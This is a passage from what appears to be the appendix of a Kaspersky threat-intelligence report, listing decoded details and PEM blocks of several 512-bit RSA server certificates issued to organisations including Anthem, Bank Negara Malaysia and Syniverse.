QQDC9oE9Z5yKkyJvwc+phezRQLZ56gJHiMK73VmXSfVZqL4NEBd5mwvupUx623PY
Jkl2K0/8Tqod4Vci1QvN1dppAgMBAAGjgYowgYcwEQYDVR0OBAoECELAcYi/ewCT
MEQGA1UdIAQ9MDswOQYFYINKAQEwMDAuBggrBgEFBQcCARYiaHR0cDovL3d3dy5k
aWdpY2VydC5jb20ubXkvY3BzLmh0bTAfBgNVHSMEGDAWgBTGFpNOFhfsFq6MlHbz
hm3FdG6EdzALBgNVHQ8EBAMCBPAwDQYJKoZIhvcNAQEFBQADgYEAOezUa/Ln1Ede
WW6/g1l7MhfLTjfnLVxE6mgIlOlHM8vizK3HzCjxB6ea9vhVdsQxcpjjEVuq1db/
mVJpYUiRMd//0znw0ZQpVVtu0dct2nzvbqQQ/bQiS55BhfZjtucQXIgeBCA2SCL1
uqSMJNOBeMHB08mMuqVi5uOo6OQh1XI=
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 21665 (0x54a1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=US, O=Equifax Secure Inc., CN=Equifax Secure
eBusiness CA1
Validity
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
41
Not Before: Jun 14 15:26:42 2006 GMT
Not After : Jul 14 15:26:42 2008 GMT
Subject: C=US, O=www.gccustomservices.com,
OU=businessprofile.geotrust.com/get.jsp?GT30320107, OU=See
www.rapidssl.com/cps (c)05, OU=Domain Control Validated
RapidSSL(R), CN=www.gccustomservices.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:cb:1f:b0:21:9c:37:a2:39:75:02:b5:12:dc:bb:
f5:7a:f7:93:65:0d:f8:6c:36:68:0a:06:19:49:77:
da:68:9e:ea:eb:39:d4:16:49:6d:14:c0:c9:6f:53:
c5:ec:a8:6b:60:ca:c3:a4:5b:3b:1a:93:1d:1f:3c:
d8:26:d5:6e:23
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.geotrust.com/crls/ebizca1.crl
X509v3 Authority Key Identifier:
keyid:4A:78:32:52:11:DB:59:16:36:5E:DF:C1:14:36:40:6
A:47:7C:4C:A1
Signature Algorithm: md5WithRSAEncryption
99:a5:16:0b:3e:3d:d1:a4:36:dc:09:c5:22:12:d9:cf:c5:76:
89:4a:7b:27:be:2d:d6:53:2b:6b:a4:da:0b:f3:f5:bf:72:cc:
11:1c:5c:a1:a3:ef:78:83:4d:01:a6:a0:e6:d8:91:2c:6c:ce:
83:d8:be:fe:a1:14:c9:b4:ac:fc:be:8e:c3:75:1d:6a:6a:43:
5a:a5:1c:3b:eb:aa:f4:f3:36:bc:34:63:72:2a:d8:c5:97:b6:
a3:aa:54:91:5e:3f:3c:48:36:3c:51:37:c0:55:28:f1:a4:8f:
ea:df:e5:2f:b2:62:bd:33:20:6a:4a:57:66:00:89:21:c4:68:
d5:e2
BEGIN CERTIFICATE
MIIC3DCCAkWgAwIBAgICVKEwDQYJKoZIhvcNAQEEBQAwUzELMAkGA1UEBhMCVVMx
HDAaBgNVBAoTE0VxdWlmYXggU2VjdXJlIEluYy4xJjAkBgNVBAMTHUVxdWlmYXgg
U2VjdXJlIGVCdXNpbmVzcyBDQS0xMB4XDTA2MDYxNDE1MjY0MloXDTA4MDcxNDE1
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
42
MjY0MlowgecxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExh3d3cuZ2NjdXN0b21zZXJ2
aWNlcy5jb20xODA2BgNVBAsTL2J1c2luZXNzcHJvZmlsZS5nZW90cnVzdC5jb20v
Z2V0LmpzcD9HVDMwMzIwMTA3MScwJQYDVQQLEx5TZWUgd3d3LnJhcGlkc3NsLmNv
bS9jcHMgKGMpMDUxLzAtBgNVBAsTJkRvbWFpbiBDb250cm9sIFZhbGlkYXRlZCAt
IFJhcGlkU1NMKFIpMSEwHwYDVQQDExh3d3cuZ2NjdXN0b21zZXJ2aWNlcy5jb20w
XDANBgkqhkiG9w0BAQEFAANLADBIAkEAyx+wIZw3ojl1ArUS3Lv1eveTZQ34bDZo
CgYZSXfaaJ7q6znUFkltFMDJb1PF7KhrYMrDpFs7GpMdHzzYJtVuIwIDAQABo24w
bDAOBgNVHQ8BAf8EBAMCBPAwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5n
ZW90cnVzdC5jb20vY3Jscy9lYml6Y2ExLmNybDAfBgNVHSMEGDAWgBRKeDJSEdtZ
FjZe38EUNkBqR3xMoTANBgkqhkiG9w0BAQQFAAOBgQCZpRYLPj3RpDbcCcUiEtnP
xXaJSnsnvi3WUytrpNoL8/W/cswRHFyho+94g00BpqDm2JEsbM6D2L7+oRTJtKz8
vo7DdR1qakNapRw766r08za8NGNyKtjFl7ajqlSRXj88SDY8UTfAVSjxpI/q3+Uv
smK9MyBqSldmAIkhxGjV4g==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 27455 (0x6b3f)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=DE, O=TSystems
Enterprise Services GmbH, OU=Trust Center Deutsche
Telekom, CN=Deutsche Telekom CA 5
Validity
Not Before: Oct 20 06:55:03 2008 GMT
Not After : Oct 25 06:55:03 2009 GMT
Subject: O=AIC GmbH, OU=AIC Certificate Service C06,
L=Sindelfingen, ST=BAW, C=DE, CN=www.kuechentraum24.de
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:b7:92:e8:ac:bd:17:b8:20:35:53:82:2a:c4:c9:
f8:b5:a5:c0:fc:c0:43:f9:c5:79:5c:43:f4:58:22:
6f:c4:db:c1:d2:a9:45:31:33:1e:da:73:da:7b:5a:
ea:2e:80:eb:30:80:fc:58:1e:1e:89:b2:15:1b:fc:
bc:f2:45:4d:ff
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Authority Key Identifier:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
43
keyid:B3:F5:5F:A6:02:3C:23:10:5B:71:A1:7C:B3:A7:40:8
5:A8:85:26:B8
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Subject Key Identifier:
80:B5:D5:2B:3F:F9:B6:18:91:23:AE:A9:27:5B:20:D4:9E:
02:E9:A7
X509v3 Certificate Policies:
Policy: 1.3.6.1.4.1.7879.13.2
CPS: http://wwwca.telesec.de/Pub_Cert/ServPass/cps/
CPS_ServerPass_V34.pdf
X509v3 CRL Distribution Points:
Full Name:
URI:http://wwwca.telesec.de/cgibin/
Pub_Cert/ServPass/DwnloadCRL.crl?issuer_
dn=Deutsch
e_Telekom_CA_5
Full Name:
URI:ldap://ldapserverpass.
telesec.de/cn=Deutsche%20Telekom%20
CA%205,ou=Trust%20Center%20Deutsche%20
Telekom,o=TSystems%20Enterprise%20Services%20
GmbH,c=de?certificateRevocationlist?ba-
se?certificateRevocationlist=*
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name:
DNS:www.kuechentraum24.de
Signature Algorithm: sha1WithRSAEncryption
b6:bc:98:3d:6c:44:95:50:c1:06:94:71:b1:05:2d:99:85:e3:
db:6e:39:58:fd:f0:45:1c:0d:3c:b3:45:33:e9:66:fd:99:f0:
b9:c0:98:8a:af:01:f5:b4:66:a7:7e:11:8a:6c:71:09:b9:fa:
5e:66:fc:3d:03:13:f1:c6:79:7c:bb:c5:fb:b7:e5:6b:c8:e3:
92:7e:7d:fb:87:e0:7d:5e:3e:64:6e:df:27:52:85:d3:9b:71:
93:84:2b:38:d1:4b:10:fc:23:e2:ae:7a:cb:a7:01:d1:c5:30:
05:76:2d:26:f5:9f:b9:5b:8c:e7:3b:3c:2d:fb:a9:10:61:40:
2e:da:45:75:c2:c3:d1:20:8d:da:f3:72:3f:5c:7d:bd:e1:86:
d3:43:9d:81:71:84:09:2f:13:af:e1:cb:55:c2:0d:a4:3c:d3:
f7:f2:eb:12:22:96:a7:5d:0b:ff:b3:9f:fa:f6:cf:a3:19:82:
93:dc:ab:a7:fe:76:10:ff:5e:32:00:d7:69:1a:a1:e6:2a:e2:
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
44
31:63:d6:14:f6:69:17:d4:bc:e2:68:c9:76:71:82:14:5f:a8:
88:f7:e2:3d:10:50:da:aa:97:96:08:f8:33:18:d2:1a:93:4f:
5c:58:fc:c0:05:e0:31:f2:59:cf:5e:2e:f5:6a:1f:6c:0f:fa:
34:0b:2c:c9
BEGIN CERTIFICATE
MIIFDTCCA/WgAwIBAgICaz8wDQYJKoZIhvcNAQEFBQAwgYIxCzAJBgNVBAYTAkRF
MSswKQYDVQQKEyJULVN5c3RlbXMgRW50ZXJwcmlzZSBTZXJ2aWNlcyBHbWJIMSYw
JAYDVQQLEx1UcnVzdCBDZW50ZXIgRGV1dHNjaGUgVGVsZWtvbTEeMBwGA1UEAxMV
RGV1dHNjaGUgVGVsZWtvbSBDQSA1MB4XDTA4MTAyMDA2NTUwM1oXDTA5MTAyNTA2
NTUwM1owgYsxETAPBgNVBAoTCEFJQyBHbWJIMSQwIgYDVQQLExtBSUMgQ2VydGlm
aWNhdGUgU2VydmljZSBDMDYxFTATBgNVBAcTDFNpbmRlbGZpbmdlbjEMMAoGA1UE
CBMDQkFXMQswCQYDVQQGEwJERTEeMBwGA1UEAxMVd3d3Lmt1ZWNoZW50cmF1bTI0
LmRlMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALeS6Ky9F7ggNVOCKsTJ+LWlwPzA
Q/nFeVxD9Fgib8TbwdKpRTEzHtpz2nta6i6A6zCA/FgeHomyFRv8vPJFTf8CAwEA
AaOCAkgwggJEMB8GA1UdIwQYMBaAFLP1X6YCPCMQW3GhfLOnQIWohSa4MA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHQ4EFgQUgLXVKz/5thiRI66pJ1sg1J4C6acwagYDVR0g
BGMwYTBfBgkrBgEEAb1HDQIwUjBQBggrBgEFBQcCARZEaHR0cDovL3d3d2NhLnRl
bGVzZWMuZGUvUHViX0NlcnQvU2VydlBhc3MvY3BzL0NQU19TZXJ2ZXJQYXNzX1Yz
NC5wZGYwggFUBgNVHR8EggFLMIIBRzBnoGWgY4ZhaHR0cDovL3d3d2NhLnRlbGVz
ZWMuZGUvY2dpLWJpbi9QdWJfQ2VydC9TZXJ2UGFzcy9Ed25sb2FkQ1JMLmNybD8t
aXNzdWVyX2RuPURldXRzY2hlX1RlbGVrb21fQ0FfNTCB26CB2KCB1YaB0mxkYXA6
Ly9sZGFwLXNlcnZlcnBhc3MudGVsZXNlYy5kZS9jbj1EZXV0c2NoZSUyMFRlbGVr
b20lMjBDQSUyMDUsb3U9VHJ1c3QlMjBDZW50ZXIlMjBEZXV0c2NoZSUyMFRlbGVr
b20sbz1ULVN5c3RlbXMlMjBFbnRlcnByaXNlJTIwU2VydmljZXMlMjBHbWJILGM9
ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9ubGlzdD9iYXNlP2NlcnRpZmljYXRlUmV2
b2NhdGlvbmxpc3Q9KjAMBgNVHRMBAf8EAjAAMCAGA1UdEQQZMBeCFXd3dy5rdWVj
aGVudHJhdW0yNC5kZTANBgkqhkiG9w0BAQUFAAOCAQEAtryYPWxElVDBBpRxsQUt
mYXj2245WP3wRRwNPLNFM+lm/ZnwucCYiq8B9bRmp34RimxxCbn6Xmb8PQMT8cZ5
fLvF+7fla8jjkn59+4fgfV4+ZG7fJ1KF05txk4QrONFLEPwj4q56y6cB0cUwBXYt
JvWfuVuM5zs8LfupEGFALtpFdcLD0SCN2vNyP1x9veGG00OdgXGECS8Tr+HLVcIN
pDzT9/LrEiKWp10L/7Of+vbPoxmCk9yrp/52EP9eMgDXaRqh5iriMWPWFPZpF9S8
4mjJdnGCFF+oiPfiPRBQ2qqXlgj4MxjSGpNPXFj8wAXgMfJZz14u9WofbA/6NAss
yQ==
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 27585 (0x6bc1)
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
45
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=Anthem Inc, OU=Ecommerce, CN=Anthem Inc
Certificate Authority
Validity
Not Before: Jan 13 19:01:43 2010 GMT
Not After : Jan 13 19:01:43 2011 GMT
Subject: C=US, ST=Indiana, L=Indianapolis, O=Anthem
Companies Inc, OU=AIT, CN=www18.anthem.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a0:66:16:2a:3f:32:86:a5:e7:75:1a:3d:02:0a:
4c:04:ed:af:8b:92:e0:70:8f:54:64:c7:4d:18:ee:
51:97:2f:00:39:44:fc:6f:f6:63:9c:65:47:64:7b:
73:43:4a:85:2b:db:f6:f1:79:02:50:73:05:15:73:
f8:64:0d:b4:b7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Alternative Name:
email:DLAITMiddleware@anthem.com
X509v3 Key Usage: critical
Key Encipherment
X509v3 Authority Key Identifier:
keyid:FA:1A:DC:3E:5D:A6:B5:FD:FA:5F:6C:CB:28:40:D3:E
0:97:A2:AA:AC
DirName:/C=US/O=GTE Corporation/OU=GTE CyberTrust
Solutions, Inc./CN=GTE
CyberTrust Global Root
serial:07:27:16:11
X509v3 Subject Key Identifier:
06:EC:C3:75:99:AA:67:1E:13:4A:B7:DD:83:8A:5B:86:E3:
8E:F9:DD
Signature Algorithm: sha1WithRSAEncryption
6c:0d:f7:59:c5:48:2d:c4:81:f5:be:8b:87:0b:fe:94:2d:3c:
e4:c1:8f:ad:88:41:7f:9b:71:f6:56:8d:70:ba:ff:20:c7:6d:
8d:52:28:0a:8f:cc:04:82:45:72:1e:0e:9f:43:7d:af:da:f3:
07:34:b2:3a:97:5e:b4:44:31:4b:21:80:ec:ce:02:98:30:59:
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
46
dc:87:73:90:99:d1:79:ca:d8:bd:aa:cd:34:65:e2:c1:1f:78:
c2:da:69:60:3a:ca:0b:6b:6e:dd:80:6d:fd:20:09:85:88:2c:
9a:40:7c:fb:7d:78:ca:3e:c6:bf:81:3a:6a:09:e9:d9:c5:e8:
57:e9:94:a2:8a:f8:c8:1f:0e:84:9b:d1:77:5a:80:b6:c3:13:
ca:86:0a:9b:78:a0:9f:83:84:06:eb:8d:d1:17:50:78:68:b0:
bb:99:2a:50:f7:44:92:4e:3a:ca:63:48:aa:5e:30:1b:12:89:
b7:1d:f3:a7:4a:02:cc:da:2f:fc:e6:47:57:07:b1:33:f0:bf:
7f:6e:26:59:62:ec:66:b8:1f:a6:09:65:7c:db:e4:c2:09:d2:
97:e7:15:e4:34:a8:d6:f3:d2:3a:f9:20:6a:a0:a1:af:93:1b:
ea:8c:ea:a5:2a:26:da:a0:73:ed:ed:67:f6:53:a0:84:a1:0c:
31:ff:d8:08
BEGIN CERTIFICATE
MIIDpDCCAoygAwIBAgICa8EwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMx
EzARBgNVBAoTCkFudGhlbSBJbmMxEjAQBgNVBAsTCUVjb21tZXJjZTEpMCcGA1UE
AxMgQW50aGVtIEluYyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMTAwMTEzMTkw
MTQzWhcNMTEwMTEzMTkwMTQzWjB+MQswCQYDVQQGEwJVUzEQMA4GA1UECBMHSW5k
aWFuYTEVMBMGA1UEBxMMSW5kaWFuYXBvbGlzMR0wGwYDVQQKExRBbnRoZW0gQ29t
cGFuaWVzIEluYzEMMAoGA1UECxMDQUlUMRkwFwYDVQQDExB3d3cxOC5hbnRoZW0u
Y29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKBmFio/Moal53UaPQIKTATtr4uS
4HCPVGTHTRjuUZcvADlE/G/2Y5xlR2R7c0NKhSvb9vF5AlBzBRVz+GQNtLcCAwEA
AaOCAQ8wggELMAwGA1UdEwEB/wQCMAAwJwYDVR0RBCAwHoEcREwtQUlULU1pZGRs
ZXdhcmVAYW50aGVtLmNvbTAOBgNVHQ8BAf8EBAMCBSAwgaIGA1UdIwSBmjCBl4AU
+hrcPl2mtf36X2zLKEDT4JeiqqyheaR3MHUxCzAJBgNVBAYTAlVTMRgwFgYDVQQK
Ew9HVEUgQ29ycG9yYXRpb24xJzAlBgNVBAsTHkdURSBDeWJlclRydXN0IFNvbHV0
aW9ucywgSW5jLjEjMCEGA1UEAxMaR1RFIEN5YmVyVHJ1c3QgR2xvYmFsIFJvb3SC
BAcnFhEwHQYDVR0OBBYEFAbsw3WZqmceE0q33YOKW4bjjvndMA0GCSqGSIb3DQEB
BQUAA4IBAQBsDfdZxUgtxIH1vouHC/6ULTzkwY+tiEF/m3H2Vo1wuv8gx22NUigK
j8wEgkVyHg6fQ32v2vMHNLI6l160RDFLIYDszgKYMFnch3OQmdF5yti9qs00ZeLB
H3jC2mlgOsoLa27dgG39IAmFiCyaQHz7fXjKPsa/gTpqCenZxehX6ZSiivjIHw6E
m9F3WoC2wxPKhgqbeKCfg4QG643RF1B4aLC7mSpQ90SSTjrKY0iqXjAbEom3HfOn
SgLM2i/85kdXB7Ez8L9/biZZYuxmuB+mCWV82+TCCdKX5xXkNKjW89I6+SBqoKGv
kxvqjOqlKibaoHPt7Wf2U6CEoQwx/9gI
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2176345 (0x213559)
Signature Algorithm: sha1WithRSAEncryption
TLP: Green	           For any inquiries, please contact intelreports@kaspersky.com
47
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Dec 17 08:55:45 2008 GMT
Not After : Dec 17 08:55:45 2010 GMT
Subject: C=MY, O=JARING Communications Sdn.
Bhd.,
OU=JARING, CN=www.flexicorp.jaring.my, L=W.Persekutuan/
emailAddress=sysadmin@jaring.my, ST=Kuala Lumpur
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:ed:61:d7:12:f3:94:1a:5f:d1:8b:28:35:b4:18:
38:d3:32:7b:7b:79:94:79:64:3d:db:bd:ad:f2:ff:
6c:61:fd:43:05:c1:f8:41:95:de:01:c2:ca:98:65:
d6:9f:bc:21:5c:35:76:9f:ff:3a:62:88:7b:32:21:
94:52:e1:46:ef
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
46:B9:8C:9E:2E:F7:69:2F
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
7b:15:12:93:d0:13:c8:91:f1:18:a9:76:bb:87:b4:44:aa:77:
27:05:a6:5b:95:6c:c0:6f:c5:94:7d:33:94:d3:6e:12:6f:dd:
90:12:18:e9:a6:48:cb:d8:a4:8a:a4:68:70:92:32:fd:d8:7c:
00:9c:db:de:7e:dd:1e:41:b0:2e:4c:48:f0:73:85:79:a8:df:
68:45:41:97:01:06:b2:c4:9f:9d:04:6a:13:d4:6e:63:ec:bf:
c9:00:82:f2:51:89:33:c0:3b:ba:4c:eb:8a:98:a3:28:34:30:
5d:ab:12:c6:71:cf:09:68:3d:47:6d:f2:c0:9e:41:44:83:7c:
0b:fe
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
48
BEGIN CERTIFICATE
MIIC3jCCAkegAwIBAgIDITVZMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDgxMjE3
MDg1NTQ1WhcNMTAxMjE3MDg1NTQ1WjCBuzELMAkGA1UEBhMCTVkxJzAlBgNVBAoT
HkpBUklORyBDb21tdW5pY2F0aW9ucyBTZG4uQmhkLjEPMA0GA1UECxMGSkFSSU5H
MSAwHgYDVQQDExd3d3cuZmxleGljb3JwLmphcmluZy5teTEWMBQGA1UEBxMNVy5Q
ZXJzZWt1dHVhbjEhMB8GCSqGSIb3DQEJARYSc3lzYWRtaW5AamFyaW5nLm15MRUw
EwYDVQQIEwxLdWFsYSBMdW1wdXIwXDANBgkqhkiG9w0BAQEFAANLADBIAkEA7WHX
EvOUGl/Riyg1tBg40zJ7e3mUeWQ9272t8v9sYf1DBcH4QZXeAcLKmGXWn7whXDV2
n/86Yoh7MiGUUuFG7wIDAQABo4GKMIGHMBEGA1UdDgQKBAhGuYyeLvdpLzBEBgNV
HSAEPTA7MDkGBWCDSgEBMDAwLgYIKwYBBQUHAgEWImh0dHA6Ly93d3cuZGlnaWNl
cnQuY29tLm15L2Nwcy5odG0wHwYDVR0jBBgwFoAUxhaTThYX7BaujJR284ZtxXRu
hHcwCwYDVR0PBAQDAgTwMA0GCSqGSIb3DQEBBQUAA4GBAHsVEpPQE8iR8RipdruH
tESqdycFpluVbMBvxZR9M5TTbhJv3ZASGOmmSMvYpIqkaHCSMv3YfACc295+3R5B
sC5MSPBzhXmo32hFQZcBBrLEn50EahPUbmPsv8kAgvJRiTPAO7pM64qYoyg0MF2r
EsZxzwloPUdt8sCeQUSDfAv+
END CERTIFICATE
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 2674380 (0x28cecc)
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=MY, O=Digicert Sdn.
Bhd., OU=457608K,
CN=Digisign Server ID (Enrich)
Validity
Not Before: Dec 7 08:02:08 2009 GMT
Not After : Dec 7 08:02:08 2010 GMT
Subject: C=MY, O=BANK NEGARA MALAYSIA, OU=BANK NEGARA
MALAYSIA, CN=payments.bnm.gov.my
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a0:c6:99:f0:88:9a:1c:ee:f7:22:72:5e:bc:1f:
02:40:68:f6:95:54:36:75:56:b3:31:0b:0c:54:c3:
46:e9:39:ec:62:b4:83:61:2d:b1:ab:42:3b:a2:4f:
4b:98:bb:6c:37:a8:3d:98:26:c8:2d:5f:75:86:3f:
b4:39:be:41:53
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
49
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
42:65:56:13:70:34:D0:63
X509v3 Certificate Policies:
Policy: 2.16.458.1.1
CPS: http://www.digicert.com.my/cps.htm
X509v3 Authority Key Identifier:
keyid:C6:16:93:4E:16:17:EC:16:AE:8C:94:76:F3:86:6D:C
5:74:6E:84:77
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
Signature Algorithm: sha1WithRSAEncryption
aa:32:37:ce:26:23:14:3e:dc:33:77:a6:bb:df:8d:f1:27:b1:
64:05:b3:9b:a3:5c:d7:63:e7:7b:bd:63:a4:a1:61:7c:d0:3c:
1e:c5:e6:a2:a9:01:6f:36:4a:44:de:50:f3:a0:53:d0:39:56:
a8:b5:05:d0:24:42:b8:2e:d3:98:f3:0a:1a:94:29:73:eb:d2:
38:9b:a0:9f:9e:39:2d:52:10:57:4e:12:8e:72:2a:e3:87:80:
f8:f2:16:5d:56:15:cc:ea:74:96:f4:ef:d1:2e:1b:70:f9:bb:
ba:b9:2a:b1:4c:3d:38:51:10:e0:4e:8d:53:05:6b:88:a1:77:
ab:a0
BEGIN CERTIFICATE
MIICizCCAfSgAwIBAgIDKM7MMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAk1Z
MRswGQYDVQQKExJEaWdpY2VydCBTZG4uIEJoZC4xETAPBgNVBAsTCDQ1NzYwOC1L
MSQwIgYDVQQDExtEaWdpc2lnbiBTZXJ2ZXIgSUQgKEVucmljaCkwHhcNMDkxMjA3
MDgwMjA4WhcNMTAxMjA3MDgwMjA4WjBpMQswCQYDVQQGEwJNWTEdMBsGA1UEChMU
QkFOSyBORUdBUkEgTUFMQVlTSUExHTAbBgNVBAsTFEJBTksgTkVHQVJBIE1BTEFZ
U0lBMRwwGgYDVQQDExNwYXltZW50cy5ibm0uZ292Lm15MFwwDQYJKoZIhvcNAQEB
BQADSwAwSAJBAKDGmfCImhzu9yJyXrwfAkBo9pVUNnVWszELDFTDRuk57GK0g2Et
satCO6JPS5i7bDeoPZgmyC1fdYY/tDm+QVMCAwEAAaOBijCBhzARBgNVHQ4ECgQI
QmVWE3A00GMwRAYDVR0gBD0wOzA5BgVgg0oBATAwMC4GCCsGAQUFBwIBFiJodHRw
Oi8vd3d3LmRpZ2ljZXJ0LmNvbS5teS9jcHMuaHRtMB8GA1UdIwQYMBaAFMYWk04W
F+wWroyUdvOGbcV0boR3MAsGA1UdDwQEAwIE8DANBgkqhkiG9w0BAQUFAAOBgQCq
MjfOJiMUPtwzd6a7343xJ7FkBbObo1zXY+d7vWOkoWF80DwexeaiqQFvNkpE3lDz
oFPQOVaotQXQJEK4LtOY8woalClz69I4m6CfnjktUhBXThKOcirjh4D48hZdVhXM
6nSW9O/RLhtw+bu6uSqxTD04URDgTo1TBWuIoXeroA==
END CERTIFICATE
TLP: Green	          For any inquiries, please contact intelreports@kaspersky.com
50
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1f:80:95:bf:76
Signature Algorithm: sha1WithRSAEncryption
Issuer: O=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 16 18:44:52 2009 GMT
Not After : Feb 16 18:44:52 2011 GMT
Subject: CN=ambermms.syniverse.com,
C=US/emailAddress=belinda.jablonski@syniverse.com,
L=Tampa, O=Syniverse Technologies Inc., OU=Crossroads,
ST=Florida
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
PublicKey: (512 bit)
Modulus:
00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5:
40:7f:bb:e9:35
Exponent: 65537 (0x10001)
X509v3 extensions:
Netscape Cert Type:
SSL Client, SSL Server
X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment
X509v3 Authority Key Identifier:
keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B
6:5B:84:89:23
X509v3 CRL Distribution Points:
Full Name:
URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: sha1WithRSAEncryption
11:6e:15:44:b0:d1:a9:98:61:27:c0:f2:28:ac:50:70:e6:63:
25:f2:75:ec:4d:30:fe:0a:34:ed:77:54:4a:d4:53:0f:60:d6:
TLP: Green	         For any inquiries, please contact intelreports@kaspersky.com
51
45:8a:70:6f:5f:c8:c2:bd:8d:4d:6b:e2:f4:d6:43:cc:34:fe:
ad:ba:b6:ec:cb:88:68:0d:38:ba:99:b9:18:73:c9:1d:05:97:
5e:95:43:c5:92:a9:00:f6:2f:4d:8c:51:09:bb:22:74:b4:9e:
34:96:d9:9c:82:d2:fb:2c:be:0c:29:4d:50:5f:a5:3c:1a:d5:
38:ca:d9:74:7a:81:c5:11:79:a4:4d:c6:23:81:14:2b:d3:b1:
46:18:b6:c0:e2:4a:97:b6:07:c3:d7:b6:77:51:d9:4f:05:21:
45:bb:b0:7c:4f:bc:6e:f6:72:62:22:28:1c:b0:06:70:02:2b:
c5:11:b6:d0:c3:e0:ce:d7:81:ff:d6:c7:97:03:9d:87:68:b7:
3a:c4:53:18:bf:cc:e4:b3:7f:fc:6b:83:b1:35:04:c1:ee:ea:
42:d5:bf:c2:57:ff:18:a3:ce:52:a4:2c:92:2a:6f:b6:98:62:
45:98:96:76:90:80:32:b9:8c:fe:93:a8:86:e9:50:62:9a:a6:
11:52:1d:81:67:dc:84:ed:d8:e4:3d:a1:b7:0f:85:fd:b1:4b:
6f:bd:fe:3c
BEGIN CERTIFICATE
MIIDRjCCAi6gAwIBAgILAQAAAAABH4CVv3YwDQYJKoZIhvcNAQEFBQAwPDEXMBUG
A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl
cnZlciBDQTAeFw0wOTAyMTYxODQ0NTJaFw0xMTAyMTYxODQ0NTJaMIG7MR8wHQYD
VQQDExZhbWJlcm1tcy5zeW5pdmVyc2UuY29tMQswCQYDVQQGEwJVUzEuMCwGCSqG
SIb3DQEJARYfYmVsaW5kYS5qYWJsb25za2lAc3luaXZlcnNlLmNvbTEOMAwGA1UE
BxMFVGFtcGExJDAiBgNVBAoTG1N5bml2ZXJzZSBUZWNobm9sb2dpZXMgSW5jLjET
MBEGA1UECxMKQ3Jvc3Nyb2FkczEQMA4GA1UECBMHRmxvcmlkYTBcMA0GCSqGSIb3
DQEBAQUAA0sAMEgCQQClE1MXAvfNM2R96CeP6byr25Y7QQ22xCoQ1WRYh6xi3gku
xV95xdWeJpsamuOZO+IuSH6cX3TJNAmzpUB/u+k1AgMBAAGjgZAwgY0wEQYJYIZI
